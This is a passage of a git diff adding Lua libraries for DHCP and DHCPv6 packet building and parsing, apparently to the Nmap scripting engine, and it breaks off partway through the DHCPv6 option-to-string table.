+---These are the different fields for DHCP. These have to come after the read_* function
+-- definitions.
+-- TODO: Add more from https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml#options
+local actions = {
+ [1] = {name="Subnet Mask", func=read_ip, default=true},
+ [2] = {name="Time Offset", func=read_4_bytes, default=false},
+ [3] = {name="Router", func=read_ip, default=true},
+ [4] = {name="Time Server", func=read_ip, default=true},
+ [5] = {name="Name Server", func=read_ip, default=true},
+ [6] = {name="Domain Name Server", func=read_ip, default=true},
+ [7] = {name="Log Server", func=read_ip, default=true},
+ [8] = {name="Cookie Server", func=read_ip, default=true},
+ [9] = {name="LPR Server", func=read_ip, default=true},
+ [10] = {name="Impress Server", func=read_ip, default=true},
+ [11] = {name="Resource Location Server", func=read_ip, default=true},
+ [12] = {name="Hostname", func=read_string, default=true},
+ [13] = {name="Boot File Size", func=read_2_bytes, default=false},
+ [14] = {name="Merit Dump File", func=read_string, default=false},
+ [15] = {name="Domain Name", func=read_string, default=true},
+ [16] = {name="Swap Server", func=read_ip, default=true},
+ [17] = {name="Root Path", func=read_string, default=false},
+ [18] = {name="Extensions Path", func=read_string, default=false},
+ [19] = {name="IP Forwarding", func=read_boolean, default=false},
+ [20] = {name="Non-local Source Routing", func=read_boolean, default=true},
+ [21] = {name="Policy Filter", func=read_policy_filter, default=false},
+ [22] = {name="Maximum Datagram Reassembly Size",func=read_2_bytes, default=false},
+ [23] = {name="Default IP TTL", func=read_1_byte, default=false},
+ [24] = {name="Path MTU Aging Timeout", func=read_time, default=false},
+ [25] = {name="Path MTU Plateau", func=read_2_bytes_list, default=false},
+ [26] = {name="Interface MTU", func=read_2_bytes, default=false},
+ [27] = {name="All Subnets are Local", func=read_boolean, default=false},
+ [28] = {name="Broadcast Address", func=read_ip, default=true},
+ [29] = {name="Perform Mask Discovery", func=read_boolean, default=false},
+ [30] = {name="Mask Supplier", func=read_boolean, default=false},
+ [31] = {name="Perform Router Discovery", func=read_boolean, default=false},
+ [32] = {name="Router Solicitation Address", func=read_ip, default=true},
+ [33] = {name="Static Route", func=read_static_route, default=true},
+ [34] = {name="Trailer Encapsulation", func=read_boolean, default=false},
+ [35] = {name="ARP Cache Timeout", func=read_time, default=false},
+ [36] = {name="Ethernet Encapsulation", func=read_boolean, default=false},
+ [37] = {name="TCP Default TTL", func=read_1_byte, default=false},
+ [38] = {name="TCP Keepalive Interval", func=read_4_bytes, default=false},
+ [39] = {name="TCP Keepalive Garbage", func=read_boolean, default=false},
+ [40] = {name="NIS Domain", func=read_string, default=true},
+ [41] = {name="NIS Servers", func=read_ip, default=true},
+ [42] = {name="NTP Servers", func=read_ip, default=true},
+ [43] = {name="Vendor Specific Information", func=read_string, default=false},
+ [44] = {name="NetBIOS Name Server", func=read_ip, default=true},
+ [45] = {name="NetBIOS Datagram Server", func=read_ip, default=true},
+ [46] = {name="NetBIOS Node Type", func=read_1_byte, default=false},
+ [47] = {name="NetBIOS Scope", func=read_string, default=false},
+ [48] = {name="X Window Font Server", func=read_ip, default=true},
+ [49] = {name="X Window Display Manager", func=read_ip, default=true},
+ [50] = {name="Requested IP Address (client)", func=read_ip, default=false},
+ [51] = {name="IP Address Lease Time", func=read_time, default=false},
+ [52] = {name="Option Overload", func=read_1_byte, default=false},
+ [53] = {name="DHCP Message Type", func=read_message_type, default=false},
+ [54] = {name="Server Identifier", func=read_ip, default=true},
+ [55] = {name="Parameter Request List (client)", func=read_string, default=false},
+ [56] = {name="Error Message", func=read_string, default=true},
+ [57] = {name="Maximum DHCP Message Size", func=read_2_bytes, default=false},
+ [58] = {name="Renewal Time Value", func=read_time, default=false},
+ [59] = {name="Rebinding Time Value", func=read_time, default=false},
+ [60] = {name="Class Identifier", func=read_string, default=false},
+ [61] = {name="Client Identifier (client)", func=read_string, default=false},
+ [66] = {name="TFTP Server Name", func=read_string, default=false},
+ [67] = {name="Bootfile Name", func=read_string, default=false},
+ [252]= {name="WPAD", func=read_string, default=false},
+}
+
+--- Does the send/receive, doesn't build/parse anything.
+local function dhcp_send(socket, host, packet)
+ -- Send out the packet
+ return socket:sendto(host, { number=67, protocol="udp" }, packet)
+end
+
+local function dhcp_receive(socket, transaction_id)
+
+ local status, data = socket:receive()
+ if ( not(status) ) then
+ socket:close()
+ return false, data
+ end
+
+ -- This pulls back 4 bytes in the packet that correspond to the transaction id. This should be randomly
+ -- generated and different for every instance of a script (to prevent collisions)
+ while status and data:sub(5, 8) ~= transaction_id do
+ status, data = socket:receive()
+ end
+
+ return status, data
+end
+
+--- Builds a DHCP packet
+--
+--@param request_type The type of request as an integer (use the <code>request_types</code> table at the
+-- top of this file).
+--@param ip_address Your ip address (as a dotted-decimal string). This tells the DHCP server where to
+-- send the response. Setting it to "255.255.255.255" or "0.0.0.0" is generally acceptable (if not,
+-- host.ip_src can work).
+--@param mac_address Your mac address (as a string up to 16 bytes) where the server will send the response. Like
+-- <code>ip_address</code>, setting to the broadcast address (FF:FF:FF:FF:FF:FF) is
+-- common (host.mac_addr_src works).
+--@param options [optional] A table of additional request options where each option is a table containing the
+-- following fields:
+-- * <code>number</code> - The option number
+-- * <code>type</code> - The option type ("string" or "ip")
+-- * <code>value</code> - The option value
+--@param request_options [optional] The options to request from the server, as an array of integers. For the
+-- acceptable options, see the <code>actions</code> table above or have a look at rfc2132.
+-- Some DHCP servers (such as my Linksys WRT54g) will ignore this list and send whichever
+-- information it wants. Default: all options marked as 'default' in the <code>actions</code>
+-- table above are requested (the typical interesting ones) if no verbosity is given.
+-- If any level of verbosity is on, get all types.
+--@param overrides [optional] A table of overrides. If a field in the table matches a field in the DHCP
+-- packet (see rfc2131 section 2 for a list of possible fields), the value in the table
+-- will be sent instead of the default value.
+--@param lease_time [optional] The lease time used when requesting an IP. Default: none.
+--@param transaction_id The identity of the transaction.
+--
+--@return status (true or false)
+--@return The parsed response, as a table.
+function dhcp_build(request_type, ip_address, mac_address, options, request_options, overrides, lease_time, transaction_id)
+ local packet = strbuf.new()
+
+ -- Set up the default overrides
+ if(overrides == nil) then
+ overrides = {}
+ end
+
+ if(request_options == nil) then
+ -- Request the defaults, or there's no verbosity; otherwise, request everything!
+ request_options = strbuf.new()
+ for i,v in pairs(actions) do
+ if(v.default or nmap.verbosity() > 0) then
+ request_options = request_options .. string.char(i)
+ end
+ end
+ request_options = strbuf.dump(request_options)
+ end
+
+ -- Header
+ packet = packet .. string.pack(">BBBB", overrides['op'] or 1, overrides['htype'] or 1, overrides['hlen'] or 6, overrides['hops'] or 0) -- BOOTREQUEST, 10mb ethernet, 6 bytes long, 0 hops
+ packet = packet .. ( overrides['xid'] or transaction_id ) -- Transaction ID =
+ packet = packet .. string.pack(">I2I2", overrides['secs'] or 0, overrides['flags'] or 0x0000) -- Secs, flags
+ packet = packet .. ip_address -- Client address
+ packet = packet .. string.pack("<I4I4I4", overrides['yiaddr'] or 0,
+ overrides['siaddr'] or 0,
+ overrides['giaddr'] or 0)
+ packet = packet .. mac_address .. string.rep('\0', 16 - #mac_address) -- chaddr (MAC address)
+ packet = packet .. (overrides['sname'] or string.rep('\0', 64)) -- sname
+ packet = packet .. (overrides['file'] or string.rep('\0', 128)) -- file
+ packet = packet .. string.pack(">I4", overrides['cookie'] or 0x63825363) -- Magic cookie
+
+ -- Options
+ packet = packet .. string.pack(">BBB", 0x35, 1, request_type) -- Request type
+
+ for _, option in ipairs(options or {}) do
+ packet = packet .. string.pack(">B", option.number)
+ if ( "string" == option.type or "ip" == option.type ) then
+ packet = packet .. string.pack("s1", option.value)
+ end
+ end
+
+ packet = packet .. string.pack(">Bs1", 0x37, request_options) -- Request options
+ if lease_time then
+ packet = packet .. string.pack(">BBI4", 0x33, 4, lease_time) -- Lease time
+ end
+
+ packet = packet .. "\xFF" -- Termination
+
+ return true, strbuf.dump(packet)
+end
+
+---Parse a DHCP packet (either a request or a response) and return the results
+-- as a table.
+--
+-- The table at the top of this function (<code>actions</code>) defines the
+-- name of each field, as laid out in rfc2132, and the function that parses it.
+--
+-- In theory, this should be able to parse any valid DHCP packet.
+--
+--@param data The DHCP packet data. Any padding at the end of the packet will
+-- be ignored (by default, DHCP packets are padded with \x00 bytes).
+function dhcp_parse(data, transaction_id)
+ local pos = 1
+ local result = {}
+
+ -- Receive the first bit and make sure we got the correct operation back
+ result.op, result.htype, result.hlen, result.hops, pos = string.unpack(">BBBB", data, pos)
+ if(result['op'] ~= 2) then
+ return false, string.format("DHCP server returned invalid reply ('op' wasn't BOOTREPLY (it was 0x%02x))", result['op'])
+ end
+
+ -- Confirm the transaction id
+ result.xid, pos = string.unpack("c4", data, pos)
+ if(result['xid'] ~= transaction_id) then
+ return false, string.format("DHCP server returned invalid reply (transaction id didn't match (%s != %s))", result['xid'], transaction_id)
+ end
+
+ -- Unpack the secs, flags, addresses, sname, and file
+ result.secs, result.flags,
+ result.ciaddr,
+ result.yiaddr,
+ result.siaddr,
+ result.giaddr,
+ result.chaddr,
+ result.sname,
+ result.file, pos = string.unpack(">I2I2 I4I4I4I4 c16 c64 c128", data, pos)
+
+ -- Convert the addresses to strings
+ result['ciaddr_str'] = ipOps.fromdword(result['ciaddr'])
+ result['yiaddr_str'] = ipOps.fromdword(result['yiaddr'])
+ result['siaddr_str'] = ipOps.fromdword(result['siaddr'])
+ result['giaddr_str'] = ipOps.fromdword(result['giaddr'])
+
+ -- Confirm the cookie
+ result.cookie, pos = string.unpack(">I4", data, pos)
+ if(result['cookie'] ~= 0x63825363) then
+ return false, "DHCP server returned invalid reply (the magic cookie was invalid)"
+ end
+
+ -- Parse the options
+ result['options'] = {}
+ while true do
+ if #data - pos < 2 then
+ stdnse.debug1("Unexpected end of options")
+ break
+ end
+
+ local option, length
+ option, length, pos = string.unpack(">BB", data, pos)
+
+ -- Check for termination condition
+ if(option == 0xFF) then
+ break;
+ end
+
+ -- Get the action from the array, based on the code
+ local action = actions[option]
+
+ -- Verify we got a valid code (if we didn't, we're probably in big trouble)
+ local value
+ if(action == nil) then
+ stdnse.debug1("dhcp-discover: Unknown option: %d", option)
+ pos = pos + length
+ else
+ -- Call the function to parse the option, and insert the result into our results table
+
+ stdnse.debug2("dhcp-discover: Attempting to parse %s", action['name'])
+ pos, value = action['func'](data, pos, length)
+
+ if(nmap.verbosity() == 0 and action.default == false) then
+ stdnse.debug1("dhcp-discover: Server returned unrequested option (%s => %s)", action['name'], value)
+
+ else
+ if(value) then
+ table.insert(result['options'], {name=action['name'], value=value})
+ else
+ stdnse.debug1("dhcp-discover: Couldn't determine value for %s", action['name']);
+ end
+ end
+ end
+
+ -- Handle the 'Option Overload' option specially -- if it's set, it tells us to use the file and/or sname values after we
+ -- run out of data.
+ if(option == 52) then
+ if(value == 1) then
+ data = data .. result['file']
+ elseif(value == 2) then
+ data = data .. result['sname']
+ elseif(value == 3) then
+ data = data .. result['file'] .. result['sname']
+ else
+ stdnse.debug1("dhcp-discover: Warning: 'Option Overload' gave an unsupported value: %d", value)
+ end
+ end
+ end
+
+ return true, result
+end
+
+---Build and send any kind of DHCP packet, and parse the response. This is the only interface
+-- to the DHCP library, and should be the only one necessary.
+--
+-- All DHCP packet have the same structure, but different fields. It is therefore easy to build
+-- any of the possible request types:
+-- * DHCPDISCOVER
+-- * DHCPOFFER
+-- * DHCPREQUEST
+-- * DHCPDECLINE
+-- * DHCPACK
+-- * DHCPNAK
+-- * DHCPRELEASE
+-- * DHCPINFORM
+--
+-- Although these will all build a valid packet with any option, and the default options (that can be
+-- overridden with the <code>overrides</code> argument) won't necessarily work with every request
+-- type. If you're going to build some DHCP code on your own, I recommend reading rfc2131.
+--
+--@param request_type The type of request as an integer (use the <code>request_types</code> table at the
+-- top of this file).
+--@param ip_address Your ip address (as a dotted-decimal string). This tells the DHCP server where to
+-- send the response. Setting it to "255.255.255.255" or "0.0.0.0" is generally acceptable (if not,
+-- host.ip_src can work).
+--@param mac_address Your mac address (as a string up to 16 bytes) where the server will send the response. Like
+-- <code>ip_address</code>, setting to the broadcast address (FF:FF:FF:FF:FF:FF) is
+-- common (host.mac_addr_src works).
+--@param options [optional] A table of additional request options where each option is a table containing the
+-- following fields:
+-- * <code>number</code> - The option number
+-- * <code>type</code> - The option type ("string" or "ip")
+-- * <code>value</code> - The option value
+--@param request_options [optional] The options to request from the server, as an array of integers. For the
+-- acceptable options, see the <code>actions</code> table above or have a look at rfc2132.
+-- Some DHCP servers (such as my Linksys WRT54g) will ignore this list and send whichever
+-- information it wants. Default: all options marked as 'default' in the <code>actions</code>
+-- table above are requested (the typical interesting ones) if no verbosity is given.
+-- If any level of verbosity is on, get all types.
+--@param overrides [optional] A table of overrides. If a field in the table matches a field in the DHCP
+-- packet (see rfc2131 section 2 for a list of possible fields), the value in the table
+-- will be sent instead of the default value.
+--@param lease_time [optional] The lease time used when requesting an IP. Default: none.
+--@return status (true or false)
+--@return The parsed response, as a table.
+function make_request(target, request_type, ip_address, mac_address, options, request_options, overrides, lease_time)
+ -- A unique id that identifies this particular session (and lets us filter out what we don't want to see)
+ local transaction_id = overrides and overrides['xid'] or string.pack("<I4", math.random(0, 0x7FFFFFFF))
+
+ -- Generate the packet
+ local status, packet = dhcp_build(request_type, ipOps.ip_to_str(ip_address), mac_address, options, request_options, overrides, lease_time, transaction_id)
+ if(not(status)) then
+ stdnse.debug1("dhcp: Couldn't build packet: %s", packet)
+ return false, "Couldn't build packet: " .. packet
+ end
+
+ local socket = nmap.new_socket("udp")
+ socket:bind(nil, 68)
+ socket:set_timeout(5000)
+
+ -- Send the packet and get the response
+ local status, response = dhcp_send(socket, target, packet)
+ if(not(status)) then
+ stdnse.debug1("dhcp: Couldn't send packet: %s", response)
+ return false, "Couldn't send packet: " .. response
+ end
+
+ status, response = dhcp_receive(socket, transaction_id)
+ socket:close()
+
+ if ( not(status) ) then
+ stdnse.debug1("dhcp: Couldn't receive packet: %s", response)
+ return false, "Couldn't receive packet: " .. response
+ end
+
+ -- Parse the response
+ local status, parsed = dhcp_parse(response, transaction_id)
+ if(not(status)) then
+ stdnse.debug1("dhcp: Couldn't parse response: %s", parsed)
+ return false, "Couldn't parse response: " .. parsed
+ end
+
+ return true, parsed
+end
+
+
+return _ENV;
diff --git a/nselib/dhcp6.lua b/nselib/dhcp6.lua
new file mode 100644
index 0000000..3f242c6
--- /dev/null
+++ b/nselib/dhcp6.lua
@@ -0,0 +1,661 @@
+---
+-- Minimalistic DHCP6 (Dynamic Host Configuration Protocol for IPv6)
+-- implementation supporting basic DHCP6 Solicit requests The library
+-- is structured around the following classes:
+-- * DHCP6.Option - DHCP6 options encoders (for requests) and decoders
+-- (for responses)
+-- * DHCP6.Request - DHCP6 request encoder and decoder
+-- * DHCP6.Response - DHCP6 response encoder and decoder
+-- * Helper - The helper class, primary script interface
+--
+-- The following sample code sends a DHCP6 Solicit request and returns a
+-- response suitable for script output:
+-- <code>
+-- local helper = DHCP6.Helper:new("eth0")
+-- local status, response = helper:solicit()
+-- if ( status ) then
+-- return stdnse.format_output(true, response)
+-- end
+-- </code>
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local datetime = require "datetime"
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("dhcp6", stdnse.seeall)
+
+DHCP6 = {}
+
+-- DHCP6 request and response types
+DHCP6.Type = {
+ SOLICIT = 1,
+ ADVERTISE = 2,
+ REQUEST = 3,
+}
+
+-- DHCP6 type as string
+DHCP6.TypeStr = {
+ [DHCP6.Type.SOLICIT] = "Solicit",
+ [DHCP6.Type.ADVERTISE] = "Advertise",
+ [DHCP6.Type.REQUEST] = "Request",
+}
+
+-- DHCP6 option types
+DHCP6.OptionTypes = {
+ OPTION_CLIENTID = 0x01,
+ OPTION_SERVERID = 0x02,
+ OPTION_IA_NA = 0x03,
+ OPTION_IAADDR = 0x05,
+ OPTION_ELAPSED_TIME = 0x08,
+ OPTION_STATUS_CODE = 0x0d,
+ OPTION_DNS_SERVERS = 0x17,
+ OPTION_DOMAIN_LIST = 0x18,
+ OPTION_IA_PD = 0x19,
+ OPTION_SNTP_SERVERS = 0x1f,
+ OPTION_CLIENT_FQDN = 0x27,
+}
+
+local DHCP6_EPOCH = os.time({year=2000, day=1, month=1, hour=0, min=0, sec=0})
+-- DHCP6 options
+DHCP6.Option = {
+
+ [DHCP6.OptionTypes.OPTION_ELAPSED_TIME] = {
+
+ -- Create a new class instance
+ -- @param time in ms since last request
+ -- @return o new instance of class
+ new = function(self, time)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_ELAPSED_TIME,
+ time = time,
+ -- in case no time was created, we need this to be able to
+ -- calculate time since instantiation
+ created = os.time(),
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts option to a string
+ -- @return str string containing the class instance as string
+ __tostring = function(self)
+ local data
+ if ( self.time ) then
+ data = string.pack(">I2", self.time)
+ else
+ data = string.pack(">I2", (os.time() - self.created) * 1000)
+ end
+ return string.pack(">I2s2", self.type, data)
+ end,
+
+ },
+
+ [DHCP6.OptionTypes.OPTION_CLIENTID] = {
+
+ -- Create a new class instance
+ -- @param mac string containing the mac address
+ -- @param duid number the duid of the client
+ -- @param hwtype number the hwtype of the client
+ -- @param time number time since 2000-01-01 00:00:00
+ -- @return o new instance of class
+ new = function(self, mac, duid, hwtype, time)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_CLIENTID,
+ duid = duid or 1,
+ hwtype = hwtype or 1,
+ time = time or os.time() - DHCP6_EPOCH,
+ mac = mac,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(data)
+ local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_CLIENTID]:new()
+ local pos
+ opt.duid, pos = string.unpack(">I2", data, pos)
+ if ( 1 ~= opt.duid ) then
+ stdnse.debug1("Unexpected DUID type (%d)", opt.duid)
+ return
+ end
+ opt.hwtype, opt.time = string.unpack(">I2I4", data, pos)
+ opt.mac = data:sub(pos)
+ opt.time = opt.time + DHCP6_EPOCH
+ return opt
+ end,
+
+ -- Converts option to a string
+ -- @return str string containing the class instance as string
+ __tostring = function(self)
+ local data = string.pack(">I2I2I4", self.duid, self.hwtype, self.time) .. self.mac
+ return string.pack(">I2s2", self.type, data)
+ end,
+ },
+
+ [DHCP6.OptionTypes.OPTION_SERVERID] = {
+ -- Create a new class instance
+ -- @param mac string containing the mac address
+ -- @param duid number the duid of the client
+ -- @param hwtype number the hwtype of the client
+ -- @param time number time since 2000-01-01 00:00:00
+ -- @return o new instance of class
+ new = function(...) return DHCP6.Option[DHCP6.OptionTypes.OPTION_CLIENTID].new(...) end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(...) return DHCP6.Option[DHCP6.OptionTypes.OPTION_CLIENTID].parse(...) end,
+
+ -- Converts option to a string
+ -- @return str string containing the class instance as string
+ __tostring = function(...) return DHCP6.Option[DHCP6.OptionTypes.OPTION_CLIENTID].__tostring(...) end,
+ },
+
+ [DHCP6.OptionTypes.OPTION_STATUS_CODE] = {
+
+ -- Create a new class instance
+ -- @param code number containing the error code
+ -- @param msg string containing the error message
+ -- @return o new instance of class
+ new = function(self, code, msg)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_STATUS_CODE,
+ code = code,
+ msg = msg,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(data)
+ local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_STATUS_CODE]:new()
+
+ local pos
+ opt.code, pos = string.unpack(">I2", data)
+ opt.msg = data:sub(pos)
+
+ return opt
+ end,
+
+ },
+
+ [DHCP6.OptionTypes.OPTION_DNS_SERVERS] = {
+
+ -- Create a new class instance
+ -- @param servers table containing DNS servers
+ -- @return o new instance of class
+ new = function(self, servers)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_DNS_SERVERS,
+ servers = servers or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(data)
+ local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_DNS_SERVERS]:new()
+ local pos, count = 1, #data/16
+
+ for i=1,count do
+ local srv
+ srv, pos = string.unpack(">c16", data, pos)
+ table.insert(opt.servers, srv)
+ end
+ return opt
+ end,
+
+ -- Converts option to a string
+ -- @return str string containing the class instance as string
+ __tostring = function(self)
+ local data = {}
+ for _, ipv6 in ipairs(self.servers) do
+ data[#data+1] = ipOps.ip_to_str(ipv6)
+ end
+ data = table.concat(data)
+ return string.pack(">I2s2", self.type, data)
+ end
+ },
+
+ [DHCP6.OptionTypes.OPTION_DOMAIN_LIST] = {
+
+ -- Create a new class instance
+ -- @param domain table containing the search domains
+ -- @return o new instance of class
+ new = function(self, domains)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_DOMAIN_LIST,
+ domains = domains or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(data)
+ local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_DOMAIN_LIST]:new()
+ local pos = 1
+
+ repeat
+ local domain = {}
+ repeat
+ local part
+ part, pos = string.unpack("s1", data, pos)
+ if ( part ~= "" ) then
+ table.insert(domain, part)
+ end
+ until( part == "" )
+ table.insert(opt.domains, table.concat(domain, "."))
+ until( pos > #data )
+ return opt
+ end,
+
+
+ },
+
+ [DHCP6.OptionTypes.OPTION_IA_PD] = {
+
+ -- Create a new class instance
+ -- @param iad number containing iad
+ -- @param t1 number containing t1
+ -- @param t2 number containing t2
+ -- @param option string containing any options
+ -- @return o new instance of class
+ new = function(self, iaid, t1, t2, options)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_IA_PD,
+ iaid = iaid,
+ t1 = t1 or 0,
+ t2 = t2 or 0,
+ options = options or "",
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts option to a string
+ -- @return str string containing the class instance as string
+ __tostring = function(self)
+ local data = string.pack(">I4I4I4", self.iaid, self.t1, self.t2) .. self.options
+ return string.pack(">I2s2", self.type, data)
+ end,
+
+ },
+
+ [DHCP6.OptionTypes.OPTION_IA_NA] = {
+
+ -- Create a new class instance
+ -- @param iad number containing iad
+ -- @param t1 number containing t1
+ -- @param t2 number containing t2
+ -- @param option table containing any options
+ -- @return o new instance of class
+ new = function(self, iaid, t1, t2, options)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_IA_NA,
+ iaid = iaid,
+ t1 = t1 or 0,
+ t2 = t2 or 0,
+ options = options or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(data)
+ local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_IA_NA]:new()
+ local pos
+
+ opt.iaid, opt.t1, opt.t2, pos = string.unpack(">I4I4I4", data)
+
+ -- do we have any options
+ while ( pos < #data ) do
+ local typ, len, ipv6, pref_lt, valid_lt, options
+ typ, len, pos = string.unpack(">I2I2", data, pos)
+
+ if ( 5 == DHCP6.OptionTypes.OPTION_IAADDR ) then
+ local addr = { type = DHCP6.OptionTypes.OPTION_IAADDR }
+ addr.ipv6, addr.pref_lt, addr.valid_lt, pos = string.unpack(">c16I4I4", data, pos)
+ table.insert(opt.options, addr)
+ else
+ pos = pos + len
+ end
+ end
+ return opt
+ end,
+
+ -- Converts option to a string
+ -- @return str string containing the class instance as string
+ __tostring = function(self)
+ local data = string.pack(">I4I4I4", self.iaid, self.t1, self.t2)
+
+ -- TODO: we don't cover self.options here, we should probably add that
+ return string.pack(">I2s2", self.type, data)
+ end,
+ },
+
+ [DHCP6.OptionTypes.OPTION_SNTP_SERVERS] = {
+
+ -- Create a new class instance
+ -- @param servers table containing the NTP servers
+ -- @return o new instance of class
+ new = function(self, servers)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_SNTP_SERVERS,
+ servers = servers or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(data)
+ local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_SNTP_SERVERS]:new()
+ local pos, server
+
+ repeat
+ server, pos = string.unpack(">c16", data, pos)
+ table.insert( opt.servers, ipOps.str_to_ip(server) )
+ until( pos > #data )
+ return opt
+ end,
+ },
+
+ [DHCP6.OptionTypes.OPTION_CLIENT_FQDN] = {
+
+ -- Create a new class instance
+ -- @param fqdn string containing the fqdn
+ -- @return o new instance of class
+ new = function(self, fqdn)
+ local o = {
+ type = DHCP6.OptionTypes.OPTION_CLIENT_FQDN,
+ fqdn = fqdn or "",
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(data)
+ local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_CLIENT_FQDN]:new()
+ local pos = 2
+ local pieces = {}
+
+ repeat
+ local tmp
+ tmp, pos = string.unpack("s1", data, pos)
+ table.insert(pieces, tmp)
+ until(pos >= #data)
+ opt.fqdn = table.concat(pieces, ".")
+ return opt
+ end,
+
+ }
+
+}
+
+
+DHCP6.Request = {
+
+ -- Create a new class instance
+ -- @param msgtype number containing the message type
+ -- @param xid number containing the transaction id
+ -- @param opts table containing any request options
+ -- @return o new instance of class
+ new = function(self, msgtype, xid, opts)
+ local o = {
+ type = msgtype,
+ xid = xid or math.random(1048575),
+ opts = opts or {}
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Adds a new DHCP6 option to the request
+ -- @param opt instance of object to add to the request
+ addOption = function(self, opt)
+ table.insert(self.opts, opt)
+ end,
+
+ -- Converts option to a string
+ -- @return str string containing the class instance as string
+ __tostring = function(self)
+ local tmp = (self.type << 24) + self.xid
+ local data = {}
+
+ for _, opt in ipairs(self.opts) do
+ data[#data+1] = tostring(opt)
+ end
+ return string.pack(">I4", tmp) .. table.concat(data)
+ end,
+
+}
+
+-- The Response class handles responses from the server
+DHCP6.Response = {
+
+ -- Creates a new instance of the response class
+ -- @param msgtype number containing the type of DHCP6 message
+ -- @param xid number containing the transaction ID
+ new = function(self, msgtype, xid, opts)
+ local o = {
+ msgtype = msgtype,
+ xid = xid,
+ opts = opts or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse the data string and create an instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return opt new instance of option
+ parse = function(data)
+ local resp = DHCP6.Response:new()
+ local tmp, pos = string.unpack(">I4", data)
+
+ resp.msgtype = (tmp & 0xFF000000)
+ resp.msgtype = (resp.msgtype >> 24)
+ resp.xid = (tmp & 0x00FFFFFF)
+ while( pos < #data ) do
+ local opt = {}
+ opt.type, opt.data, pos = string.unpack(">I2s2", data, pos)
+ if ( DHCP6.Option[opt.type] and DHCP6.Option[opt.type].parse ) then
+ local opt_parsed = DHCP6.Option[opt.type].parse(opt.data)
+ if ( not(opt_parsed) ) then
+ table.insert(resp.opts, { type = opt.type, raw = opt.data })
+ else
+ table.insert(resp.opts, { type = opt.type, resp = opt_parsed, raw = opt.data })
+ end
+ else
+ stdnse.debug2("No option decoder for type: %d; len: %d", opt.type, #(opt.data or ""))
+ table.insert(resp.opts, { type = opt.type, raw = opt.data })
+ end
+ end
+ return resp
+ end
+
+}
+
+-- Table of option to string converters
+-- Each option should have its own function to convert an instance of option
+-- to a printable string.
+--
+-- TODO: These functions could eventually be moved to a method in its
+-- respective class.
+OptionToString = {
+
+ [DHCP6.OptionTypes.OPTION_CLIENTID] = function(opt)
+ local HWTYPE_ETHER = 1
+ if ( HWTYPE_ETHER == opt.hwtype ) then
+ local mac = stdnse.tohex(opt.mac):upper()
+ mac = mac:gsub("..", "%1:"):sub(1, -2)
+ local tm = datetime.format_timestamp(opt.time)
+ return "Client identifier", ("MAC: %s; Time: %s"):format(mac, tm)
+ end
+ end,
+
+ [DHCP6.OptionTypes.OPTION_SERVERID] = function(opt)
+ local topic, str = OptionToString[DHCP6.OptionTypes.OPTION_CLIENTID](opt)
+ return "Server identifier", str
+ end,
+
+ [DHCP6.OptionTypes.OPTION_IA_NA] = function(opt)
+ if ( opt.options and 1 == #opt.options ) then
+ local ipv6 = ipOps.str_to_ip(opt.options[1].ipv6)
+ return "Non-temporary Address", ipv6
+ end
+ end,
+
+ [DHCP6.OptionTypes.OPTION_DNS_SERVERS] = function(opt)
+ local servers = {}
+ for _, srv in ipairs(opt.servers) do
+ local ipv6 = ipOps.str_to_ip(srv)
+ table.insert(servers, ipv6)
+ end
+ return "DNS Servers", table.concat(servers, ",")
+ end,
+
+ [DHCP6.OptionTypes.OPTION_DOMAIN_LIST] = function(opt)
+ return "Domain Search", table.concat(opt.domains, ", ")
+ end,
+
+ [DHCP6.OptionTypes.OPTION_STATUS_CODE] = function(opt)
+ return "Error", ("Code: %d; Message: %s"):format(opt.code, opt.msg)
+ end,
+
+ [DHCP6.OptionTypes.OPTION_SNTP_SERVERS] = function(opt)
